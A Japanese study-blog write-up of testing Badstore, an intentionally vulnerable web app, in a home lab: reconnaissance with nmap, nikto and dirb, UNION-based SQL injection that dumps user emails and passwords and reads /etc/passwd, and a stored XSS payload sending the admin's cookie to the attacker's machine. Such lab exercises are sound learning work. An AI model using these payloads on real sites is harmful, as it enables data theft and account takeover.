家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

Badstoreの検証

概要

この記事では以前に構築したBadstoreを検証していきます。

 

 

 

1.Badstoreの調査 

実行結果

youtu.be

 

実行したコマンド

nmap -n 192.168.1.0/24

curl 192.168.1.208

nikto -host http://192.168.1.208

dirb http://192.168.1.208

 

Niktoの実行結果には以下のようなものがありました。

 

+ The anti-clickjacking X-Frame-Options header is not present.
クリックジャッキングはiframeを利用し、表面に見えているWebサイトのコンテンツをクリックさせるが、実際は別のWebサイトのコンテンツをクリックさせる攻撃です。
X-frame-optionsでは、iframe等の中にページの表示を許可するかどうか設定できます。

 

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
X-XSS-ProtectionはブラウザのXSSフィルタを設定するために使用されます。

 

また、dirbはWebコンテンツのスキャナです。Webサイトの隠しオブジェクトをスキャンすることができます。上記動画の最後でcatコマンドで表示していますが、Webサイトに対して辞書ベースの攻撃を行い、隠れているオブジェクトを見つけるものです。

 

2.SQLインジェクションの検証

Badstoreに含まれるSQLインジェクションの脆弱性を検証します。

 

SQL関連の情報収集

nmapによる調査でMySQLのバージョンが4.1.7とわかります。

nmap -vvv -p 3306 -A 192.168.1.208

 

SQLインジェクションの攻撃では、データベースの内容を取得するために、テーブル名やカラム名を収集する必要があり、「information_schema」から情報を収集することが行われます。

イメージ

SELECT * FROM INFORMATION_SCHEMA.TABLES

ただし、MySQLでは、information_schemaは5.0.2以降に追加されたものであるため、このBadStoreではinformation_schemaからテーブル名の一覧の取得ができないようです。

 

そのため、違う方法で情報を収集する必要があります。

 

Badstoreのサイト上での検証

Badstoreのサイトにある検索ボックスを使って情報を収集します。 

Badstoreの検索窓に「'」を入力するとSQLのエラーが表示されます。これは、入力した「'」がSQL文の組み立てに使用されているということを意味しており、Badstoreでは、プリペアードステートメント等の対策が行われていないことがうかがえます。

 

次に「1’=’1’ UNION SELECT VERSION()」と入力してみます。

上記を入力すると、以下のようなエラーが表示されます。

 

SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE '1’=’1’ UNION SELECT VERSION()' IN (itemnum,sdesc,ldesc)

 

上記のメッセージからitemdbというテーブルが存在することがわかります。この名前の付け方から推測するに、XXXdbというテーブルが他にも存在するのではないかという推測します。

 

Badstoreにはユーザ登録ができる画面があるため、「userdb」というテーブルが存在するのではないかと推測します。

確かめるために、以下を検索ボックスに入力します。

 

1'='0' UNION SELECT 1,1,1,1 from userdb#

 

上記を入力すると以下のようなエラー画面が表示されます。

f:id:iestudy:20210318213838p:plain

「userdb」の存在確認

「userdb」が存在する場合は上記のような結果が返ってきます。

なお、SQLインジェクションはUNIONで選択したテーブルの内容を本来の検索結果のテーブルに結合する必要があるため、SELECT以降の「1」は、結合先のテーブルのカラム数に合わせて入力します。

 

次に「userdb」に含まれるカラムの名前に関する情報を集めます。

今回は、Badstoreのソースから手掛かりを得ました。

「Login / Register」の画面でソースを表示し「INPUT TYPE」を検索します。

検索すると以下のようなパラメータがあることがわかります。

  • email
  • fullname
  • passwd
  • pwdhint

これらのカラムが含まれるかどうかは、先ほどの入力の「1」の部分をパラメータに置き換えて実行することで確認できます。

 

「email」の例

1'='1' UNION SELECT email,1,1,1 from userdb#

 

最終的には上記の4つのカラムが存在することがわかります。

これらの情報を踏まえ、検索ボックスに以下の入力をすると登録されているユーザ情報を見ることができます。

 

1'='1' UNION SELECT email,1,passwd,pwdhint from userdb#

※検索ボックスの入力文字数の制限(?)のため、「fullname」は「1」にしています。

 

また、以下のような入力をすることでBadstore上のファイルを閲覧することもできます。

 

1'='0'UNION SELECT 1,1,1,LOAD_FILE('/etc/passwd')#

 

補足:SQLのコメントについて

MySQLのコメントは「#」「-- 」の2形式が使用可能です。
「-- 」は2つ目のハイフンの後に半角スペースが必要になります。

MySQL :: MySQL 4.1 リファレンスマニュアル :: 6.1.6 コメント構文

MySQL :: MySQL 5.6 リファレンスマニュアル :: 9.6 コメントの構文

 

実行結果

youtu.be

 

3.XSSの検証

Badstoreに含まれるXSSの脆弱性を検証します。

今回はGuestBook(掲示板)に攻撃コードを書き込み、書き込みを閲覧したユーザ(admin)のCookie情報を取得し、それを使ってadminとしてBadstoreにアクセスします。

 

GuestBookに書き込んだ攻撃コード

<script>location.href='http://192.168.1.210/?cookie=' + document.cookie;</script> 

※192.168.1.210はKali LinuxのIPアドレス

※動画内では、GuestBookの閲覧の仕方がわからなかったため、以下のURLを表示することでXSSを動作させています。

http://192.168.1.208/cgi-bin/badstore.cgi?action=doguestbook 

 

実行結果

youtu.be

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

 

1.Badstoreの調査

ja.osdn.net

www.rem-system.com

2.SQLインジェクションの検証

jpcertcc.github.io

armerj.github.io

3.XSSの検証

www.tohoho-web.com

[BurpSuiteJapan]Burp Suite実践編